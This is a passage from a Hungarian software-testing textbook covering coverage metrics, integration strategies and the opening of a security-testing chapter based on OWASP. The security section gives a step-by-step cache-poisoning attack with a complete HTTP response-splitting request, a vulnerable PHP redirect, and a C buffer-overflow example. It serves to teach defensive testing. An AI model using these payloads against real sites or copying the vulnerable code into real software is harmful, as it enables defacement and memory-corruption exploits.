4-13 Szoftver tesztelés Tervezési hibák felderítése • Elsősorban logikai hibák (pl. elérhetetlen kódrészek) Szabványok előírásai • Mivel mérőszámokkal minősíthető, sok szabvány előírja valamilyen strukturális technika használatát. 4.42 A vezérlési folyamat gráf A vezérlési szerkezetet a vezérlési folyamat gráf modellezi, egy program végrehajtási eset pedig egy út bejárása ebben a gráfban. Ezért felületesen mondhatnánk, hogy a teljes tesztelés valamennyi út bejárását jelenti. Mivel azonban a feltételek nem mindig függetlenek egymástól, a bejárható utak száma általában kevesebb, mint az összes út. A ciklomatikus komplexitás (CK) a vezérlési gráfban megtalálható független utak maximális száma. Két út független, ha mindkettőben létezik olyan pont vagy él, amelyik nem eleme a másik útnak. A ciklomatikus komplexitás értéke arra jellemző, hogy a program vezérlési szempontból mennyire bonyolult.

Általános tesztelési cél, hogy a teszthalmaz fedje le a független utak egy maximális (további független utakkal már nem bővíthető) halmazát. Ennek a célnak a megvalósítását az alábbi problémák nehezíthetik: • • Az ilyen utak halmaza nem egyedi, tehát ugyanahhoz a kódhoz akár több ilyen halmazt is lehet rendelni, ami több teszteset halmazt is jelenthet. Mivel a ciklomatikus komplexitás a független utak számának felső korlátja, egyes halmazok számossága lehet kisebb, mint a ciklometrikus komplexitás. 4.43 A strukturális tesztgenerálás lépései A teszt generálás folyamata lényegében leírható az alábbi lépésekkel. Vezérlési gráf generálása Ez automatikusan végrehajtható a kód elemzésével. CK (ciklomatikus komplexitás) számítása Létezik rá algoritmus, és a kód elemző eszközök képesek ezt az értéket meghatározni. Független utak maximális (CK db utat tartalmazó) halmazának generálása Ebben a lépésben már

adódnak problémák. Ha vezérlési gráf kört tartalmaz (márpedig tartalmaz, mert elég nehéz értelmes kódot elképzelni ciklus nélkül), az elvben végtelen 4-14 Szoftver tesztelés számú út generálását tenné lehetővé. Ne felejtsük el, hogy a vezérlési gráf nem tartalmaz futás közbeni értékeket, így egy ciklus menetszáma (ami a valóságban természetesen véges) a gráfból nem állapítható meg. Ez a probléma kezelhető, de a generálandó utak számának növekedését jelenti. Különösen igaz ez az egymásba ágyazott ciklusok esetén A struktúra alapú tesztelési technikák legnagyobb kihívását éppen a ciklusok kezelése jelenti. Bemenetek generálása a független utak bejárásához Ebben a lépésben az okozhat problémát, hogy egy adott úthoz nem feltétlenül generálható olyan bemeneti kombináció, amely annak a bejárását eredményezné. Ez persze nem jelenti feltétlenül azt, hogy az adott út elemeit képező utasítások

elérhetetlenek, csak azt, hogy egy másik út részeként hajtódhatnak végre. A tesztelés alaposságának ellenőrzése kód lefedettségi mérőszámokkal Az idők során számos ilyen mérőszámot dolgoztak ki, és megoldott ezen mérőszámok automatikus számítása is. A mérőszámok általában 0 és 1 közé eső értékek Azt mondhatnánk tehát, hogy a tesztelés akkor teljes, ha egy ilyen mérőszám értéke 1 (teljes lefedettség), azonban: • • • A teljes lefedettség sokszor csak irreálisan nagy teszteset halmazzal érhető el, ezért inkább annak csak minél jobb megközelítésére törekedhetünk. A 100%-os lefedettség sem jelenti azt, hogy minden hibát megtaláltunk. (Erre példákat az egyes mérőszámok ismertetésénél mutatunk.) Mivel a különböző lefedettségi mérőszámok más és más szempontból értékelik a tesztelés alaposságát, célszerű többet is használni. A lefedettség elemzés (coverage analysis) a mértékszámok

tesztelés során történő használatának elmélete. A gyakorlat ugyanis azt mutatja, hogy a tesztesetek futtatási sorendjének „ügyes” megválasztásával eleinte a felderített hibák számának gyors növekedését lehet elérni, még viszonylag alacsony lefedettség esetén is. A teljes lefedettséghez való közelítés során a későbbiekben feltárt hibát száma fokozatosan csökken. Különböző stratégiákkal tehát jelentős költségeket lehet megtakarítani. Itt hívnám fel arra a figyelmet, hogy a kód lefedettségi mutató nem azonos a hiba lefedettséggel (amit nem is tudunk számítani, hiszen ahhoz ismerni kellene a programban levő hibák számát). A kód lefedettség a tesztelés alaposságát méri, a hiba lefedettség az eredményességét. A tapasztalatok alapján azonban abban bízhatunk, hogy az alapos tesztelés az eredményességet is növeli. 4.44 Tesztminőségi mérőszámok Ebben az alpontban az alábbi, gyakrabban használt kód

lefedettségi mérőszámok számítási módjait és jelentését tekintjük át • utasítás lefedettség, 4-15 Szoftver tesztelés • • ág lefedettség (vagy döntés lefedettség), út lefedettség. 4.441 Utasítás lefedettség Számítási módja: S(c) = s/S ahol s a tesztelés során legalább egyszer végrehajtott, S pedig a program összes utasításainak a száma A 100% még nem biztosíték arra, hogy a teljes tesztelés minden hibát megtalál. Egyszerű példa a fenti problémára (hibás kódrészlet): int a=5 ; x= ; if (x>0) a = 10; a = 20; • • Az utasítás lefedettség teszt 100%, mert minden sorra rákerül a vezérlés. Ha nem volt olyan teszt, amely során a feltétel igaz értéket vesz fel, nem derül ki a hiba. 4.442 Ág lefedettség (döntés lefedettség) Számítási módja: D(c) = d/D ahol d az elágazási utasításokban szereplő feltételek kimeneteinek tesztelés során bekövetkezett értékeinek száma, D pedig a program összes

elágazás utasításaiban szereplő feltételeinek lehetséges száma. A döntés lefedettség tehát akkor teljes, ha a programban szereplő összes döntés minden lehetséges kimenete előfordult a tesztelés során. A 100%-os lefedettség ugyan alaposabb tesztelést eredményez, mint az utasítás lefedettsége, de itt is van ellenpélda: if (felt1 && (felt2 || fuggveny() ) ) u1; else u2; 4-16 Szoftver tesztelés Ahol felt1 és felt2 logikai kifejezések A teljes lefedettséghez két teszteset szükséges, hiszen egy feltételnek két lehetséges kimente van. Ez a két teszteset lehet például: • • felt1 és felt2 igaz – ekkor az elágazás feltétele igaz, felt1 hamis, - ekkor az elágazás feltétele hamis. Ebben a két tesztesetben egyszer sem volt szükség a harmadik operandus kiértékelésére, tehát a függvény nem hívódik meg. Ha abban van hiba, az felderítetlen marad 4.443 Út lefedettség Számítási módja: P(c) = p/P ahol p a tesztelés

során bejárt utak száma, P pedig a vezérlési gráf összes útjainak a száma Teljes út lefedettség teljes utasítás és ág lefedettséget biztosít. Nagyon szigorú mérőszám, mert • • Az összes utak száma nagyon nagy lehet, ezért a tesztesetek generálása és lefuttatása erőforrás igényes. A vezérlési gráfban lehetnek nem bejárható utak az egymást kizáró feltételek miatt, tehát a teljes lefedettség nem is mindig elérhető. 4.45 A struktúra alapú tesztek szerepe A fenti rövid bevezetőből is látszik, hogy a struktúra alapú tesztelés bonyolult és erőforrás igényes feladat. Végrehajtásához speciálisan erre a célra fejlesztett eszközök kellenek, mert manuális végrehajtása a bonyolult algoritmusok és a szükséges tesztesetek nagy száma miatt legfeljebb mintapéldákon lehetséges. Bonyolultsága ellenére sem mellőzhetők ezek a tesztek a biztonság-kritikus rendszerek esetén. Az ilyen rendszereknél a program váratlan

viselkedése egy adott helyzetben akár emberéleteket is veszélyeztethet, vagy jelentők károkat okozhat. Ha a teljes lefedettséget minnél jobban megközelítő, alapos tesztelésnek vetjük alá ezeket a rendszereket, a váratlan viselkedés valószínűsége az elfogadható kockázati szint alá csökkenthető. A tesztek során alkalmazott lefedettségi mutatók alkalmazhatók az utasításoknál nagyobb absztrakciós szintű struktúrákra is. Ilyenkor a vezérlési folyamat gráf elemei lehetnek például alrendszerek, modulok, interfészek, vagy akár a menüstrukrúra elemei. Az integrációs tesztek esetén ilyen módon módon mérhetjük, hogy a végrehajtott teszt készletek a rendszer elemeit mennyire alaposan fedték le. 4-17 Szoftver tesztelés 4.5 Gyakorlat alapú technikák A gyakorlat alapú technikák a tesztelő szakember tapasztalatain alapuló ad-hoc, nem szisztematikus módszerek. Alkalmazhatók a formálisabb technikák kiegészítésére, de vannak

olyan esetek, amikor főszerephez jutnak. Ilyenek lehetnek az alábbiak: • • Nincs olyan, megfelelő minőségű specifikáció, amiből levezethetők a tesztesetek. Nincs elég idő a megfelelően megtervezett tesztelési folyamat lebonyolítására. 4.51 Hiba becslés (Error guessing) Ez egy nagyon egyszerű módszer, ami kihasználja a tesztmérnök hasonló alkalmazásokkal szerzett tapasztalatait, és lehetővé teszi olyan speciális tesztesetek azonosítását, amelyeket a szisztematikus technikákkal nehéz feltárni. A szisztematikus módszerek kiegészítéseként a teszteseteket a korábbi rendszerek ismertté vált tipikus problémái ismeretében egészíti ki. A módszer hátránya, hogy a hatékonysága esetleges, elsősorban a tesztelő gyakorlatán, intuíciós képességein, és azon múlik, hogy részt vett-e korábban hasonló rendszerek fejlesztésében. Előnye viszont, hogy a területen gyakorlott felhasználókat is be lehet vonni a tesztesetek

tervezésébe, felhasználva egy másik nézőpontból származó információkat. A hiba becslés módszerét strukturáltabbá lehet tenni azzal, hogy elkészítünk egy potenciális hibalistát. A lista a tesztelő és a felhasználó előzetes tapasztalatai alapján készülhet, és segítheti a szisztematikus módszereket, de további teszteseteket is generálhat. 4.52 Felderítő tesztelés (Exploratory testing) Ez a módszer kombinálja a tesztelő tapasztalatait és a strukturált tesztelési módszereket. Hasznos lehet abban az esetben, ha a specifikáció elnagyolt, hiányos, vagy a fejlesztés határideje nagyon feszített tempót igényel. Ez a technika lehetővé teszi, hogy a korlátozott tesztelési időt jobban kihasználjuk azáltal, hogy segít megtalálni a legfontosabb, mindenképpen végrehajtandó teszteseteket. 4.6 Ellenőrző kérdések 4.7 Irodalomjegyzék Brian Hambling (Editor), Peter Morgan, Angelina Samaroo, Geoff Thompsom, Peter Wiliams: Software

Testing; an ISEB Foundation. The British Computer Society (BCS), 2007 ISBN 1.902505-79-4 4-18 Szoftver tesztelés Derk-Jan de Grood: TestGoal; Result-Driven Testing. Springer, 2008, ISBN 978-3-540-78828-7 Dr. Sziray József, Dr benyó Balázs, Heckenast Tamás: Szoftver-minőségbiztosítás, 2007 Elektronikus jegyzet ftp://jegyzet.sthszehu/!BSc/Szoftverminosegbiztositas/SW minosegbiztpdf 4-19 Szoftver tesztelés Tartalomjegyzék 4 Teszt tervezési technikák . 4-1 4.1 Alapfogalmak . 4-1 4.11 Tesztelés alanya (test condition). 4-1 4.12 Teszt eset . 4-2 4.13 Teszt specifikáció . 4-2 4.14 Tesztkészlet . 4-2 4.15 Hibamodell . 4-3 4.16 Teszt folyamat . 4-3 4.17 Teszt lefedettség . 4-3 4.2 A teszt tervezési technikák fajtái . 4-4 4.3 Specifikáció alapú technikák . 4-4 4.31 Ekvivalencia particionálás (Equivalence partitioning) . 4-6 4.32 Határérték analízis (Boundary value analysis) . 4-6 4.33 Ok-hatás analízis

(Cause-effect analysis) . 4 -7 4.34 Véletlenszerű adatok generálása . 4 -11 4.35 Használati eset (use case) tesztelés . 4-11 4.36 Az elvárt eredmény előállításának problémája. 4-12 4.4 Struktúra alapú technikák. 4-13 4.41 A struktúra alapú technikák alkalmazási területei . 4-13 4.42 A vezérlési folyamat gráf . 4-14 4.43 A strukturális tesztgenerálás lépései. 4-14 4.44 Tesztminőségi mérőszámok . 4-15 4.441 Utasítás lefedettség . 4-16 4.442 Ág lefedettség (döntés lefedettség) . 4-16 4.443 Út lefedettség . 4-17 4.45 4.5 A struktúra alapú tesztek szerepe . 4-17 Gyakorlat alapú technikák . 4-18 4.51 Hiba becslés (Error guessing) . 4-18 4.52 Felderítő tesztelés (Exploratory testing) . 4- 18 4.6 Ellenőrző kérdések. 4-18 4.7 Irodalomjegyzék . 4-18 4-20 Szoftver tesztelés 4-21 Szoftver tesztelés 5 Integrációs tesztek Az integrációs tesztek az egységteszteket követik. Az

egység teszt szorosan kapcsolódik az implementációs fázishoz, és biztosítja, hogy a részegységek önmagukban már helyesen működnek. Így ha az integrációs tesztek során hibát észlelünk, az feltehetőleg a modulok együttműködéséből adódik. Az integrációs teszteknek következő fázisait különböztetjük meg: • • • technikai integrációs teszt (Integration Level Testing, ILT), rendszerteszt (System Level Testing , SLT), elfogadtatási teszt (User Acceptance Testing, UAT). Ezek különböznek az integráltság szintjében, és részben a céljaikban is. 5.1 Integration Level Testing (ILT) Célja az együttműködő egységek vizsgálata. Ezért a teszteléshez egy részrendszert állítunk össze a már önmagában tesztelt elemekből. Ezek többnyire csak technikai, nem funkcionális részrendszerek, ezért probléma lehet a megfelelő tesztesetek előállítása. Az ILT szemlélete elsősorban verifikációs, tehát a hibák megtalálására

irányul. 5.11 Integrációs stratégiák A részrendszerek összeépítésére és a tesztesetek megtervezésére és futtatására különböző stratégiák alakultak ki. 5.111 "Big-bang" integráció Feltételezzük, hogy a rendszer minden egység rendelkezésre áll, és ezekből egyből a teljes rendszer építjük fel, azaz valójában az ITL kimarad, és egyből a System Level Testing következik. Előnye, hogy a testeseteket könnyebben le lehet vezetni a követelmény analízisből és nagyon kevés segédkódot kell írni a tesztek végrehajtásához. Hátránya viszont, hogy nagyon nehéz a hibák okát megtalálni, mert egy hibajelenséget több hiba együttese is okozhat (a hibák következményei "összemosódnak"). Ezért legfeljebb nagyon egyszerű rendszerek esetén alkalmazható 5.112 Inkrementációs integrációs és tesztelési stratégia Ebben az esetben a rendszer elemeit fokozatosan integráljuk, és minden egyes integrációs szinten

teszteket hajtunk végre. A folyamat tehát az alábbi lépésekből áll: • • • • • Néhány elemet (modult vagy részrendszert) kombinálunk. Olyan teszteket futtatunk, amelyek csak az összeépített elemeket igénylik. Ha minden teszt sikeres, újabb elemeket teszünk hozzá a rendszerhez. További teszteseteket tervezünk, amelyek az új elemek meglétét is igénylik. Minden eddigi tesztet újra lefuttatunk. 5-1 Szoftver tesztelés A fenti iterációt addig folytatjuk, amíg a teljes rendszert összeépítettük, és azon valamennyi teszt sikeresen lefutott. Példa: 5-1. ábra Iterációs teszt Figyeljük meg, hogy a kibővített rendszeren újra kell futtatnunk az előzőleg már sikeresen lefutott teszteket is, hiszen nem lehetünk biztosak abban, hogy az újabb modulok integrációja nem okoz hibát a korábbi modulok működésében. Ez a futtatandó tesztesetek számának exponenciális növekedését jelenti, ami egy bonyolult rendszer esetén nagyon

erőforrás igényessé teszi a folyamatot. Mivel a tesztelés tárgya mindig csak egy részrendszer, annak működtetéséhez tesztelési környezetet kell biztosítani, ami segédkódok írását jelenti. A biztosítandó tesztelési környezet attól függ, milyen integrációs módszert alkalmazunk. Elvben két lehetséges megközelítés közül választhatunk: • • top-down integráció bottom-up integráció Többnyire a két megközelítés valamilyen ötvözetét használják a gyakorlatban. 5.113 Top-down integráció 5-2 Szoftver tesztelés 5-2. ábra Top-down integráció Folyamata: • • • A hierarchia legfelső szintjén álló elem tesztelésével kezdjük. Az egy szinttel lejjebb álló elemek viselkedését és iterface-ét szimuláló ideiglenes elemek (stub) szükségesek. Ha a teszt sikeres, az ideiglenes elemeket a valódiakkal helyettesítjük, az általuk használtakat pedig újabb ideiglenes elemekkel szimuláljuk. Előnyei: • • • •

Jól illeszkedik a top-down programfejlesztési módszerekhez. Egy modul a megírása után rögtön tesztelhető. Az esetleges tervezési hibák korán kiderülnek, és idejében orvosolhatók. Viszonylag korán rendelkezésre áll egy korlátozott képességű rendszer. Hátrányai: • • Bonyolult lehet a szimulációt végző ideiglenes rutinok megírása. A hierarchia felső szintjein álló modulok sokszor nem szolgáltatnak outputot. A teszteléshez külön eredmény-generáló "betétek" szükségesek. 5.114 Bottom-up integráció 5-3 Szoftver tesztelés 5-3. ábra Bottom-up tesztelési stratégia Folyamata: • • • Először a legalsó szinten levő modulokat teszteljük, majd a hierarchiában felfelé haladunk. Ehhez a felső szinteket szimuláló tesztelési környezetet (test driver) kell írni. Ha a teszt sikeres, a teszt driver-eket a valódi implementált elemekre cseréljük, és a következő szintet helyettesítjük test driver-ekkel. 5.2

System Level Testing (SLT) A rendszer összes komponensének teljes körű (funkcionális, nem funkcionális) tesztelése. Feladata annak megállapítása, hogy a rendszer kiadható-e a megrendelőnek. Ez tehát egy végső ellenőrzési fázis a fejlesztési folyamatban. Szokás elnevezése még: "release test", a tesztelés tárgyát képező rendszerváltozat pedig gyakran nevezik "alpha version"-nek. Bár a tesztelési munka még fejlesztő szervezeten belül folyik, szükséges az éles használat környezetének minél pontosabb szimulációja. A tesztelés célja kettős: • • Verifikációs: a rendszer olyan hibáinak megtalálása, amelyek az eddigi tesztelési tevékenységek során nem mutatkoztak meg. Validációs: főleg a nem funkcionális követelmények tesztelése segítségével meggyőződni arról, hogy a felhasználó céljainak megfelelő a rendszer működése. Ezen célok elérésére a rendszert több szempont szerint tesztelhetjük.

5.21 Szolgáltatás tesztelés Célja annak megállapítása, hogy a rendszer minden funkcionális követelményt implementál, és azok helyesen működnek. 5-4 Szoftver tesztelés 5.22 Mennyiségi tesztelés A szoftver működését nagy mennyiségű adattal teszteljük a kapacitáskorlátok ellenőrzésére. Ellenőrizzük, hogy az adatmennyiség nem okoz-e hibás működést. Végrehajtási / válasz időket is figyelhetünk, mérhetünk, amely már a terhelési tesztek előkészítését jelenti. 5.23 Terheléses tesztelés (Stressz-tesztelés) A tesztelt rendszert valamilyen szempontból erős terhelésnek teszi ki. Fontos feladata a megfelelő válaszidők ellenőrzése. Ennek érdekében: • • • Vizsgálni kell, hogy a rendszer adott időkorláton belül hogyan teljesít nagy mennyiségű adatokon dolgozva. Intenzív feldolgozást kívánó helyzeteket kell teremteni, melyek szélsőségesek, de előfordulhatnak. A robosztusság ellenőrzésére érdemes a terhelést

olyan szintre is emelni, amely (elvileg) a használat során nem fordulhat elő. 5.24 Használhatósági tesztelés A rendszer egy meghatározott felhasználó által, egy meghatározott felhasználási körben használva, meghatározott célok hatékony és produktív elérésére, mennyire kielégítő és mennyire vezet megelégedésre. Minden felhasználói szerepkört, minden használati módot meg kell vizsgálni. 5.25 Biztonsági tesztelés Az adatbiztonsággal és adatvédelemmel kapcsolatos hibák vizsgálata. A mai, elosztott architektúrájú, gyakran (legalább részben) Web alapú rendszerek esetén egyre nagyobb a jelentősége, ezért ezzel e kérdéssel egy külön fejezetben is foglalkozunk. 5.26 Teljesítménytesztelés A teljesítmény vagy a hatékonyság mérése különböző terheléseknél és konfigurációkra meghatározott válaszidők és feldolgozási sebességek formájában. 5.27 Konfigurációtesztelés Különböző környezetek (hardver, operációs

rendszer, egyéb szoftver installációk) lehetségesek. Ha a programnak korábbi rendszerekhez kell kapcsolódniuk, vagy a program egy korábbi változatát váltják le: ellenőrizni kell a kompatibilitást vagy a konverziós eljárásokat. 5.28 Megbízhatósági tesztelés Ha program céljai között megbízhatósággal kapcsolatos speciális kitételek szerepelnek. A megbízhatósági teszteknek adott esetben ki kell terjedniük a rendszer programozásihardver- vagy adathibák bekövetkezte utáni felállására, működésbe visszaállására. 5-5 Szoftver tesztelés 5.29 Dokumentációtesztelés Felhasználói és fejlesztési dokumentumokra egyaránt vonatkozik. A fejlesztési dokumentáció esetén annak teljességét és az elkészült rendszerrel való összhangját kell vizsgálni. A felhasználói dokumentációban szereplő összes illusztratív példát le kell képezni tesztesetekké és végre is kell hajtani velük a tesztelést. 5.3 User Acceptance Testing (UAT)

Feladata annak megállapítása, hogy a rendszer éles üzembe állítható-e. Célja a felhasználó és minden haszonélvező (stakeholder) elégedettségének vizsgálata. Általában a megrendelő telephelyén, annak közreműködésével, és a végleges üzemeltetési körülmények között kell végrehajtani. A használható tesztelési módszerek hasonlóak, mint a SLT esetén, de azok közül csak a felhasználó számára releváns eseteket kell bemutatni. Ez a szint elsősorban verifikációs szemléletű, tehát az a jó teszt, amely sikeres működést produkál. Lehet verifikációs célja is (olyan hibák kimutatására, amelyek csak a végleges működtető környezetben vizsgálhatók.) Egy speciális UAT módszer a béta verzió kibocsátása. A béta verziót általában egy korlátozott felhasználói kör kapja meg, akiktől elvárható, hogy az észlelt hibákat rendszeresen jelentik a fejlesztőknek. 5-6 Szoftver tesztelés Tartalomjegyzék 5 Integrációs

tesztek . 5-1 5.1 Integration Level Testing (ILT) . 5-1 5.11 5.2 Integrációs stratégiák . 5-1 5.111 "Big-bang" integráció . 5-1 5.112 Inkrementációs integrációs és tesztelési stratégia . 5-1 5.113 Top-down integráció . 5-2 5.114 Bottom-up integráció . 5-3 System Level Testing (SLT) . 5-4 5.21 Szolgáltatás tesztelés . 5-4 5.22 Mennyiségi tesztelés . 5-5 5.23 Terheléses tesztelés (Stressz-tesztelés) . 5-5 5.24 Használhatósági tesztelés. 5-5 5.25 Biztonsági tesztelés . 5-5 5.26 Teljesítménytesztelés . 5-5 5.27 Konfigurációtesztelés . 5-5 5.28 Megbízhatósági tesztelés . 5-5 5.29 Dokumentációtesztelés . 5-6 5.3 User Acceptance Testing (UAT) . 5-6 5-7 Szoftver tesztelés 6 Biztonsági tesztelés Ez a fejezet áttekinti a biztonsági támadások leggyakoribb típusait. Az itt leírt biztonsági támadások a www.owasporg oldalon található szabad cikkek fordításai A támadások azok

a technológiák, amiket a támadók használnak, hogy kihasználják az alkalmazások sebezhető pontjait. A támadásokat gyakran tévesztik össze a sebezhető pontokkal. Egy támadás leírása azt mondja el, hogy mit tenne a támadó a gyengeség kihasználására, nem pedig az alkalmazás gyenge pontjait ismerteti. Ebben a fejezetben a legfontosabb biztonsági támadásokat ismertetjük, hogy a tesztelés során tudjuk, minek lesz kitéve az alkalmazásunk. Ha ismerjük a biztonsági támadásokat, akkor a tesztek során kipróbálhatjuk, hogy alkalmazásunk ellen áll-e a támadásnak. Ha igen, akkor a kiadott szoftverünk kisebb kockázatot jelent a használójának és így nagyobb értéket képvisel. A támadás ellenállóság egyrészt verseny előny, másrészt az elkérhető magasabb ár fedezi a tesztelés extra költségeit. Az extra költségek a magasan képzett tesztelők magasabb munkadíjából és a támadás ellenállóság tesztelésének viszonylag

időigényes volta jelenti. Ugyanakkor a támadás ellenállóság vizsgálatához nem elég csak a legfontosabb támadásokat ismerni, hiszen újabb és újabb támadási módszereket fejlesztenek ki az IT rendszerek feltörésére specializálódott hacker-ek. A támadás ellenállóság tesztelése általában feketedobozos teszt. Történhet a rendszer kiadása előtt vagy után is. Ha utána történik, akkor általában etikus törési kísérletről beszélünk. Ehhez általában külső szakembereket, fehér kalapos hacker-eket szoktak felkérni Ha a kiadás előtt történik, akkor általában a legmagasabban képzett belső tesztmérnökök feladata. Ez a fejezet nekik szól, de a szükséges ismereteknek csak egy részét tartalmazza A biztonsági támadások legfontosabb típusai (támadás fajtái – konkrét támadások): • „Működés ellehetetlenítése – Cache Mérgezés” (Abuse of Functionality - Cache Poisoning )
(Data Structure Attacks - Overflow Binary

Resource fájl )
„Ártalmas kód beágyazása – logikai/időzített bomba (Embeeded Malicious Code Logic/time bomb)
„Trójai” (Troyan Horse)
„Azonosítási folyamat kihasználása – Account kizárási támadás” (Exploitation of Authentication - Account lockout attack)
„Befecskendezés – Közvetlen statikus kód befecskendezése” (Injection - Direct Static Code Injection) 6-1 Szoftver tesztelés
„Útkeresztezési támadás” (Path Traversal Attack)
„Próbálgatós technológiák – nyers erő támadás” (Probabilistic Techniques - Brute force attack)
„Protokol manipuláció – http válasz szétválasztás” (Protocol Manipulation - Http Response Splitting)
„Forrás kimerítés – aszimmetrikus erőforrások elfogyasztása (erősítés)” (Resource Depletion - Asymmetric resource consumption (amplification))
„Erőforrás manipuláció – kémprogram” (Resource Manipulation – Spyware)
„Szimatoló támadás –

Hálózati lehallgatás” (Sniffing Attacks - Network Eavesdropping)
„Átverés – oldalakon keresztüli kérelem hamisítás (CSRF)” (Spoofing - Cross-Site Request Forgery (CSRF)) 6.11 Működés ellehetetlenítése – Cache Mérgezés Leírás A károsan felépített válasz hatása fölnagyítható, ha egy több felhasználó által használt web cache tárolja vagy akár egyetlen egy felhasználó böngésző cache-e. Ha egy választ egy megosztott web cache-ben tárolnak, mint például amik legtöbbször találhatóak a proxy szerverekben, akkor a cache minden használója mindaddig a káros tartalmat fogja kapni, amíg a cache bejegyzést ki nem tisztították. Ehhez hasonlóan, ha a választ egy egyéni felhasználó böngészője cache-eli (tárolja), akkor az a felhasználó mindaddig a káros tartalmat fogja kapni, amíg a cache bejegyzést meg nem tisztították, ebben az esetben csak a helyi böngésző másolata lesz érintve. Hogy egy ilyen támadás sikeres

legyen, a támadónak a következőket kell tennie: • • • • Megtalálni a sebezhető service kódot, amin keresztül több fejléccel terhelheti meg a http fejléc mezőjét. Rákényszeríteni a cache szervert, hogy flush-olja az aktuális cache tartalmat, amit szeretnénk, hogy cache-eljen a szerver. Küldeni egy speciálisan elkészített kérelmet, amit a cache tárolni fog. Küldeni a következő kérelmet. A korábban befecskendezett, a cache-ben eltárolt tartalom lesz a válasz erre a kérelemre. Ez a fajta támadás meglehetősen nehezen kivitelezhető valós környezetben. A szükséges feltételek listája hosszú és nehezen teljesíthető a támadó által. Ennek ellenére még mindig egyszerűbb ezt a technikát használni, mint a Felhasználók Közötti Elcsúfítást (Cross-User Defacement). 6-2 Szoftver tesztelés A Cache Mérgezés támadás a HTTP Válasz Szétválasztás (HTTP Response Splitting) és a hálózati alkalmazás hibái miatt lehetséges.

A támadó szempontjából létfontosságú, hogy az alkalmazás engedélyezze a fejléc mező feltöltését több fejléccel a Kocsi Visszatérés (CR (Carrige Return)) és a Sor Betáplálása (LF (Line Feed)) karaktereket használva. Példa: Találtunk egy weblapot, ami a szolgáltatási nevét a „page” argumentumtól kapja, aztán visszairányít (302) ehhez a kiszolgálóhoz. pl.: http://testsitecom/redirphp?page=http://othertestsitecom/ A redir.php példa kódja: rezos@dojo ~/public html $ cat redir.php <?php header ("Location: " . $ GET[page]); ?> A megfelelő kérelem elkészítése: [1] 1 – a lap eltávolítása a cache-ből GET http://testsite.com/indexhtml HTTP/11 Pragma: no-cache Host: testsite.com User-Agent: Mozilla/4.7 [en] (WinNT; I) Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */ Accept-Encoding: gzip Accept-Language: en Accept-Charset: iso-8859-1,*,utf-8 A HTTP fejléc mezők - "Pragma: no-cache" vagy

"Cache-Control: no-cache" – eltávolítják a lapot a cache-ből (már ha tárolva volt benne természetesen). 2 – a HTTP Válasz Szétválasztást használva arra kényszerítjük a cache szervert, hogy két választ generáljon egy kérelemre. GET http://testsite.com/redirphp?site=%0d%0aContentLength:%200%0d%0a%0d%0aHTTP/11%20200%20OK%0d%0aLastModified:%20Mon,%2027%20Oct%202009%2014:50:18%20GMT%0d%0aConte nt-Length:%2020%0d%0aContentType:%20text/html%0d%0a%0d%0a<html>deface!</html> HTTP/1.1 Host: testsite.com User-Agent: Mozilla/4.7 [en] (WinNT; I) Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */ Accept-Encoding: gzip Accept-Language: en Accept-Charset: iso-8859-1,*,utf-8 6-3 Szoftver tesztelés Szándékosan állítjuk be a jövő időt (a fejlécben 2009. október 27-re van állítva) a második válasz HTTP fejléc „Last-Modified” mezőjében, hogy tároljuk a választ a cache-ben. Ezt a hatást megkaphatjuk a

következő fejlécek beállításával:
Last-Modified [Utoljára-Módosítva] (Az „If-Modified-Since” fejléc ellenőrzi)
ETag (Az „If-None-Match” fejléc ellenőrzi) 3 – küldjünk kérelmet a lapnak, amit szeretnénk kicserélni a szerver cache-ében GET http://testsite.com/indexhtml HTTP/11 Host: testsite.com User-Agent: Mozilla/4.7 [en] (WinNT; I) Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */ Accept-Encoding: gzip Accept-Language: en Accept-Charset: iso-8859-1,*,utf-8 Elméletben a cache szervernek össze kellene párosítania a második választ a kettes kérelemből a hármas kérelemmel. Így kicseréltük a cache tartalmát A kérelem maradékét egyetlen kapcsolat alatt kivitelezni lehet (hacsak a cache szerver nem igényli kifinomultabb módszer használatát), valószínűleg az egyiket azonnal a másik után. Ennek a támadásnak a használata problémásnak tűnhet, ha általános Cache Mérgezési megoldásként szeretnénk

használni. Ez a cache szerverek különböző kapcsolati modellje és kérelem feldolgozási megoldása miatt van így. Mit jelent ez? Például azt, hogy az a módszer, amivel az Apache 2.x cache-ét a mod proxy és mod cache modulokkal hatékonyan tudjuk mérgezni, nem fog működni a Squid esetében. Egy másik probléma az URI hossza, ami időnként lehetetlenné teszi, hogy betegyük a szükséges válasz fejlécet, amit legközelebb a kérelemhez kellene párosítani a megmérgezett laphoz. Az felhasznált kérelem példák az alábbi linken[1] található dokumentumból származnak és a cikk szükségleteinek megfelelően lettek módosítva. Az alábbi dokumentumban bővebben olvashat ezekről a támadási fajtákról: [1] http://packetstormsecurity.org/papers/general/whitepaper httpresponsepdf, készítette: Amit Klein, Director of Security and Research 6.2 Adatszerkezet támadás - Bináris forrás fájl túltöltése 6.21 Leírás A buffer túlcsordulás forrása a bevitt

adat lehet. Amikor a bináris forrás file túltöltéssel próbálkozik, a támadónak úgy kell módosítania/előkészítenie a bináris fájlt, hogy miután az alkalmazás beolvasta, kiszolgáltatottá váljon egy klasszikus Buffer túlcsordulás támadásnak (Buffer overflow attack). Az egyetlen különbség ez és a klasszikus típus között a bevitt adat forrásában van. A leggyakoribb példák a különlegesen elkészített MP3, JPEG vagy ANI fájlok, amik buffer túlcsordulást okoznak. 6.22 Példák Az alkalmazás kiolvassa az első 8 karaktert a bináris fájlból. rezos@dojo-labs ~/owasp/binary $ cat read binary file.c 6-4 Szoftver tesztelés #include <stdio.h> #include <string.h> int main(void) { FILE *f; char p[8]; char b[8]; f = fopen("file.bin", "r"); fread(b, sizeof(b), 1, f); fclose(f); strcpy(p, b); printf("%s ", p); return 0; } A létrehozott fájl több, mint 8 karaktert tartalmaz. rezos@dojo-labs ~/owasp/binary $ cat

